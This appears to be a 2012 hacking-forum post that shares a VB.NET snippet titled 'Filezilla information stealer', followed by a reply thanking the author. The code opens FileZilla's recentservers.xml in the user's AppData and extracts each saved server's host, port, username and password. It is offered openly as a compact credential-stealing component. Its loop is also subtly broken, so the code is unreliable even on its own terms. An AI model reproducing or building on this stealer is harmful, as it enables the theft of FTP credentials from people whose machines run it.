[VB.NET][SNIPPET] Filezilla information stealer

SnipeYa25 · 2012-02-01T09:40:10+00:00

Well Ive seen a few about and i thought they were messy or overly complicated, Soo i thought i would let "yall" take a look at mine. Function: Function ReadFileZilla() Dim XMLDOC As New System.Xml.XmlDocument XMLDOC.Load(Environ("AppData") & "\\FileZilla\\recentservers.xml") Dim XMLPath As Xml.XmlElement XMLPath = XMLDOC.SelectSingleNode("//Server") Dim Servers As Integer Servers = XMLDOC.GetElementsByTagName("Server").Count Dim i As Integer = 0 Dim Output As String = "" Do Until i = Servers i += 1 Output += _ "Server: " & i & Environment.NewLine & _ " Host: " & XMLPath.Item("Host").InnerText & Environment.NewLine & _ " Port: " & XMLPath.Item("Port").InnerText & Environment.NewLine & _ " User: " & XMLPath.Item("User").InnerText & Environment.NewLine & _ " Pass: " & XMLPath.Item("Pass").InnerText & Environment.NewLine & Environment.NewLine If i < Servers Then XMLPath = XMLDOC.SelectSingleNode("//Server").NextSibling Loop Return Output End Function Then simply use "MsgBox(ReadFileZilla)"

Sinner
Guest

Feb 1, 2012 05:18 AM

Thanks for this, will learn from it :)

Next Oldest | Next Newest

New Reply

Possibly Related Threads...
Thread / Author	Replies	Views	Last Post
[.NET] Need help condensing this snippet to one line call by еlixirSep 9, 2022 06:31 AM	0	132	Sep 9, 2022 06:31 AM Last Post: еlixir
[Python] Mr. Robot - EP. 8 Python snippet by datguy.devNov 28, 2019 10:37 PM	4	299	Nov 28, 2019 10:37 PM Last Post: Eternal Darkness
[.NET] SiriTDecrypter (VB.net) - Teamviewer, Chrome, Opera, Safari, Filezilla, etc. by SiriTJun 1, 2019 04:24 PM	4	623	Jun 1, 2019 04:24 PM Last Post: d01x2

View a Printable Version
Export as PDF
Subscribe to this thread

Login
Username/Email:
Password:	Lost Password?
	Remember me